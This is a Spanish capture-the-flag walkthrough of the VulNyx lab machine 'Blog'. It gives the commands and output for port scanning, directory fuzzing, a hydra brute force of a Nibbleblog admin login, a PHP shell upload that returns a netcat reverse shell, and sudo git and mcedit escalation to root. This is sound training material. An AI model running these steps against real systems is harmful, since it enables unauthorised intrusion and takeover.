VulNyx - Blog
- Brute Force HTTP
- Upload Shell
- Abuse Git Binary
- Abuse Mcedit Binary
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.53
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80, 192.168.1.53
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 569bdd56a5c1e352a84246185e0c1286 (RSA)
| 256 1bd2cc5921501b3919771d28c0bec682 (ECDSA)
|_ 256 9ce741b6ad03edf5a14ccc0a50791c20 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Realizo fuerza bruta de directorios y encuentro el directorio my_weblog.
❯ wfuzz -c -t 200 --hc=404 --hl=6 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://192.168.1.65/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.65/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000007428: 301 9 L 28 W 308 Ch "my_weblog"
Visito el nuevo directorio y veo que se trata de un blog en construcción y encuentro un posible usuario con el nombre admin.
Enumero el nuevo directorio.
❯ wfuzz -c -t 200 --hc=404 --hl=64 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://192.168.1.65/my_weblog/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.65/my_weblog/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000127: 301 9 L 28 W 315 Ch "themes"
000000075: 301 9 L 28 W 316 Ch "content"
000000519: 301 9 L 28 W 316 Ch "plugins"
000000897: 200 32 L 115 W 902 Ch "README"
000000935: 301 9 L 28 W 318 Ch "languages"
000000259: 301 9 L 28 W 314 Ch "admin"
Me voy a admin y me sale un panel de login.
Uso hydra para hacer fuerza bruta al usuario admin.
❯ hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.53 http-post-form "/my_weblog/admin.php:username=^USER^&password=^PASS^:Incorrect" -I -f -V
[80][http-post-form] host: 192.168.1.53 login: admin password: k****s
Investigando un poco encuentro un poc para subir una shell así que me logueo a la web y me voy a Plugins.
Hago click en My image y subo la shell.
Leyendo al documentación me dice lo siguiente:
Upload PHP shell, ignore warnings
Visit
http://localhost/nibbleblog/content/private/plugins/my_image/image.php.
This is the default name of images uploaded via the plugin.
Dejo un netcat a la escucha y con curl mando una petición a la ruta que me indica la documentación.
❯ curl -s "http://192.168.1.53/my_weblog/content/private/plugins/my_image/image.php"
Y obtengo la shell.
❯ nc -lvp 1234
listening on [any] 1234 ...
192.168.1.53: inverse host lookup failed: Unknown host
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.53] 44364
Linux blog 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
13:01:01 up 1:04, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
www-data@blog:/$
Enumero permisos de sudo.
www-data@blog:/$ sudo -l
sudo: unable to resolve host blog: No address associated with hostname
Matching Defaults entries for www-data on blog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on blog:
(admin) NOPASSWD: /usr/bin/git
Para pasar de usuario www-data a admin uso el siguiente recurso de gtfobins
sudo -u admin git -p help config
!/bin/bash
Una vez como usuario admin enumero permisos de sudo.
admin@blog:~$ sudo -l
sudo: unable to resolve host blog: No address associated with hostname
Matching Defaults entries for admin on blog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User admin may run the following commands on blog:
(root) NOPASSWD: /usr/bin/mcedit
Privesc
admin@blog:~$ sudo mcedit
Pulso las teclas alt + F
y me desplazo con las flechas hasta la opción menú de Usuario.
Una vez dentro del menú de usuario selecciono Invoke shell
.
Obtengo el root.
admin@blog:~$ sudo mcedit
sudo: unable to resolve host blog: No existe ninguna dirección asociada al nombre
# /bin/sh /tmp/mc-root/mcusr5E5K51
# id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina Blog.
Saludos!